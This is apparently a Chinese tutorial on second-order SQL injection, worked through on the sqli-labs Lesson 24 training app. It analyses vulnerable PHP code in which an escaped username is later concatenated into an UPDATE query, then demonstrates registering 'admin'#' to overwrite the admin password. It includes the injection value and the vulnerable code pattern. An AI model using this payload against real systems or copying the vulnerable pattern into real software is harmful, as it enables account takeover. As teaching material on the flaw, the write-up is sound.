二次注入

1 二次注入原理

二次注入的原理:在第一次进行数据库插入数据的时候,仅仅只是使用了 addslashes 或者是借助 mysqli_real_escape_string 对其中的特殊字符进行了转义,但是 addslashes 有一个特点就是虽然参数在过滤后会添加 \ 进行转义,但是 \ 并不会插入到数据库中,在写入数据库的时候还是保留了原来的数据。

如下代码所示:

1
2
3
4
5
6
7
8
9
10
<?php
error_reporting(0);
$con = new mysqli();
$con->connect('localhost', 'root', 'root', 'security', '3306');
$username = mysqli_real_escape_string($con, $_GET[1]);
$pass = mysqli_real_escape_string($con, $_GET[2]);

$sql = "insert into users (username, password) values('{$username}', '{$pass}')";
echo $sql . "<br>";
$result = $con->query($sql);

在将数据存入到了数据库中之后,开发者就认为数据是可信的。在下一次进行需要进行查询的时候,直接从数据库中取出了脏数据,没有进行下一步的检验和处理,这样就会造成 SQL 的二次注入。

2 源码分析

一个经典的二次注入场景,所以下面来理一下源码(SQLi_lab24):

2.1 index.php

主要记录了表单相关的信息,没有啥敏感代码,当做 index.html 来看待就可以了,具体的界面如下:

image-20231124014103702

提示输入用户名和密码,用户名和密码正确之后就可以成功登陆,否则登陆失败。

下面两个链接分别是:

  • Forgot your password?:跳转到 forgot_password.php,简单的一张图,没啥用。
  • New User click here?:跳转到 new_user.php,可以创建一个新用户。

2.2 failed.php

检测会话,如果 Cookie 里面没有 Auth 参数的话,就跳转到 index.php

密码重置失败后,跳转到此。

2.3 forgot_password.php

没啥用,过。

2.4 Logged-in.php

登录成功界面,可以进行密码重置,具体的界面如下:

image-20231124014339860

2.5 new_user.php

创建新用户界面,本文件主要存放前段代码当作静态页面看就行,具体的界面如下:

image-20231124014107615

2.6 login_create.php

创建新用户的后端代码,下面来简单理一下代码的流程:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
## 判断是否有参数提交
if (isset($_POST['submit'])) {

## 接受用户提交的用户名和密码,并使用 mysql_escape_string 转义
$username = mysql_escape_string($_POST['username']);
$pass = mysql_escape_string($_POST['password']);
$re_pass = mysql_escape_string($_POST['re_password']);

## 查询当前用户信息
$sql = "select count(*) from users where username='$username'";

## 如果当前用户已经存在,则无法注册
if (!$row[0] == 0)

## 将记录插入数据库中
$sql = "insert into users ( username, password) values(\"$username\", \"$pass\")";

2.7 login.php

登录用户名和密码都被过滤了:

1
2
3
$username = mysql_real_escape_string($_POST["login_user"]);
$password = mysql_real_escape_string($_POST["login_password"]);
$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";

2.8 pass_change.php

分析一下代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
if 检测未登录:
重定向到首页
if 检测到提交表单:
# 对 pass 都进行了过滤
$username= $_SESSION["username"];
$curr_pass= mysql_real_escape_string($_POST['current_password']);
$pass= mysql_real_escape_string($_POST['password']);
$re_pass= mysql_real_escape_string($_POST['re_password']);

if 两次密码一致:
# 直接将 username 拼接到 SQL 语句
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
else:
提示密码不一致 并重定向到 fail.php

3 思路分析

先查看创建用户的地方:

1
username =  mysql_escape_string($_POST['username']) ;

$_POST['username']mysql_escape_string 函数转义了。

再看下更新密码的核心语句:

1
UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass'

这里直接使用单引号拼接了 $username 所以当 $username 可控的话 ,这里是存在 SQL 注入的,假设用户注册的 username 的值为:admin'#,那么此时的完整语句就为:

1
UPDATE users SET PASSWORD='$pass' where username='admin'# and password='$curr_pass'

此时就完全改变了语义,直接就修改掉了 admin 用户的密码。

回头看看 pass_change.php 文件,发现 $username 取值来自 $_SESSION["username"],而这个值取自 login.php$_SESSION["username"] = $login,是从数据库中查出来的,有苗头。

4 步骤演示

注册一个 admin'# 的用户,注册完成后数据库的记录信息如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
mysql> select * from security.users;
+----+-----------+------------+
| id | username | password |
+----+-----------+------------+
| 1 | Dumb | Dumb |
| 2 | Angelina | I-kill-you |
| 3 | Dummy | p@ssword |
| 4 | secure | crappy |
| 5 | stupid | stupidity |
| 6 | superman | genious |
| 7 | batman | mob!le |
| 8 | admin | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 | dhakkan | dumbo |
| 14 | admin4 | admin4 |
| 15 | admin'# | 123456 |
+----+-----------+------------+
14 rows in set (0.00 sec)

成功添加了记录,虽然之前被转义了但转义不过是暂时的,最后存入到数据库的时候还是没变的。

接下来登录 admin'# 用户,然后修改当前的密码:

image-20231124014122927

此时来数据库中查看,可以发现成功修改掉了 admin 用的密码了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
mysql> select * from security.users;
+----+-----------+------------+
| id | username | password |
+----+-----------+------------+
| 1 | Dumb | Dumb |
| 2 | Angelina | I-kill-you |
| 3 | Dummy | p@ssword |
| 4 | secure | crappy |
| 5 | stupid | stupidity |
| 6 | superman | genious |
| 7 | batman | mob!le |
| 8 | admin | 1 |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 | dhakkan | dumbo |
| 14 | admin4 | admin4 |
| 15 | admin'# | 123456 |
+----+-----------+------------+
14 rows in set (0.00 sec)